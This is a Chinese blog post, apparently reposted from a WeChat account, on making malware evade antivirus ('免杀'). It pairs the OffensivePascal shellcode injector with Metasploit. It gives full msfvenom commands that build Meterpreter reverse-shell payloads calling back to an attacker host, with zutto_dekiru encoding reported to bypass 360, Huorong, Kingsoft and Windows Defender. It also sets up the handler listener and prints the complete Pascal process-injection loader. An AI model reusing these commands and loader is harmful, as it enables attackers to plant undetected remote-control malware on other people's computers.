|
0x01 前言
最近在知识星球看到@冷逸师傅分享的一个Pascal语言shellcode注入项目,因为Pascal为冷门语言,所以大概率不会被查杀,所以可以用这个项目来对我们的马儿进行免杀处理。
0x02 项目测试
在测试这个项目前我们得先装好Lazarus环境,然后将OffensivePascal
项目下载到本地,使用作者给出的msfvenom命令生成Pascalg格式的shellcode,并将其全部放置在一行。
msfvenom -p windows/x64/meterpreter/reverse_http LHOST=192.168.1.120 LPORT=443 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_http
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
接着在Lazarus环境中打开OffensivePascal项目Simple Shellcode injection
文件夹中injector.lpr,将处理好的Pascalg格式的shellcode替换到shellcode:array
中,然后进行编译即可。
这里需要注意下msfvenom生成的payload大小,因为要删除掉shellcode后的;,
,所以在injector.lpr源代码中填写payload大小时可能要-1,如果填写的不对在编译时就可能会出现报错,如下图。
这里我们用360、火绒、PC和Server端的windows defender来扫描下刚编译的injector.exe,看下是否已经能够免杀?在下图中可以看到360是免杀了,但是火绒和windows defender还是查杀到了。
0x03 免杀处理
直接用作者给的msfvenom命令生成的shellcode编译的exe已经被火绒和windows defender查杀,但如果不加那段shellcode就不会被杀,所以我们还需要做进一步的免杀处理。
经过测试后发现其实很简单,只要在msfvenom生成shellcode时使用-e参数加上zutto_dekiru
编码即可实现免杀,次数也可以用-i参数控制,可同时免杀360、火绒、金山毒霸、PC和Server端的windows defender。
接着我们再按以上的测试流程重新走一遍就行了,生成shellcode->处理shellcode->替换shellcode->编译exe->执行上线,都是一些重复的操作,就不详细写了,这时可以看到执行后已经成功上线了。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 -e x64/zutto_dekiru -i 5 -f c | sed -r 's/[x]+/$/g' | sed -r 's/[]+/,/g' | sed -r 's/["]+//g' | sed -e 's/$/,/' | cut -c 2-
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.120
msf5 exploit(multi/handler) > set lport 443
msf5 exploit(multi/handler) > exploit
{
this one is part of repo published on github under the name of Offensive Pascal
Pascal is a great and still up to date :)
these projects can be compilied using FreePascal (FPC)
or Delphi
author : @zux0x3a
site : 0xsp.com / ired.dev
https://github.com/0xsp-SRD/OffensivePascal
}
program injector;
{$mode delphi}
uses
Classes,windows;
procedure inject_shell;
const
//Windows x64 MessageBox Shellcode (434 bytes)
shellcode:array[0..768] of BYTE = (
Insert Shellcode Here);
var
pi: TProcessInformation;
si: TStartupInfo;
{$ifdef win32}
ctx: Context;
{$endif}
{$ifdef win64}
ctx : Pcontext;
{$endif}
remote_shellcodePtr: Pointer;
{$ifdef win64}
Written:dword64;
{$endif}
{$ifdef win32}
Written:dword;
{$endif}
AppToLaunch: string;
i ,s_size: Cardinal;
shell_prt : string ;
shell_code : array of byte;
begin
AppToLaunch := 'notepad.exe';
UniqueString(AppToLaunch);
FillMemory( @si, sizeof( si ), 0 );
FillMemory( @pi, sizeof( pi ), 0 );
writeln('[+] Creating Process in Suspended Mode');
CreateProcess('c:windowssystem32cmd.exe', PChar(AppToLaunch), nil, nil, False,
CREATE_SUSPENDED,
nil, nil, si, pi );
{$ifdef win32}
ctx.ContextFlags := CONTEXT_CONTROL;
GetThreadContext(pi.hThread,ctx);
{$endif}
{$ifdef win64}
ctx := PCONTEXT(VirtualAlloc(nil, sizeof(ctx), MEM_COMMIT, PAGE_READWRITE));
ctx.ContextFlags := CONTEXT_ALL;
GetThreadContext(pi.hThread,ctx^);
{$endif}
//allocate the memory size
remote_shellcodePtr:=VirtualAllocEx(pi.hProcess,Nil,s_size,MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
// write array of bytes into process memory
WriteProcessMemory(pi.hProcess,remote_shellcodePtr,@shellcode,s_size,written);
{$ifdef win64}
ctx.rip:=dword64(remote_shellcodePtr);
//ctx.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(pi.hThread,ctx^);
ResumeThread(pi.hThread);
{$ENDIF}
{$ifdef win32}
ctx.Eip:=integer(remote_shellcodePtr);
ctx.ContextFlags := CONTEXT_CONTROL;
SetThreadContext(pi.hThread,ctx);
ResumeThread(pi.hThread);
{$endif}
end;
begin
inject_shell;
end.
0x04 注意事项
这种免杀方式只能过杀软的静态查杀,在Meterpreter会话中执行getsystem
提权、 migrate
进程迁移等命令时还是会被windows defender阻止,这里我也只是简单测试了下PC的windows defender,至于360、火绒等其他安全防护产品还会拦截哪些操作和行为还请自行测试...。
【往期推荐】
【超详细 | Python】CS免杀-Shellcode Loader原理(python)
【超详细 | 钟馗之眼】ZoomEye-python命令行的使用
【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现
【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现
【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现
【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞
【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现
【奇淫巧技】如何成为一个合格的“FOFA”工程师
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】
【漏洞速递+检测脚本 | CVE-2021-49104】泛微E-Office任意文件上传漏洞
走过路过的大佬们留个关注再走呗
往期文章有彩蛋哦
一如既往的学习,一如既往的整理,一如即往的分享
“如侵权请私聊公众号删文”
推荐阅读↓↓↓
我知道你在看哟
原文始发于微信公众号(渗透Xiao白帽):干货 | 利用Pascal+zutto_dekiru进行免杀
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论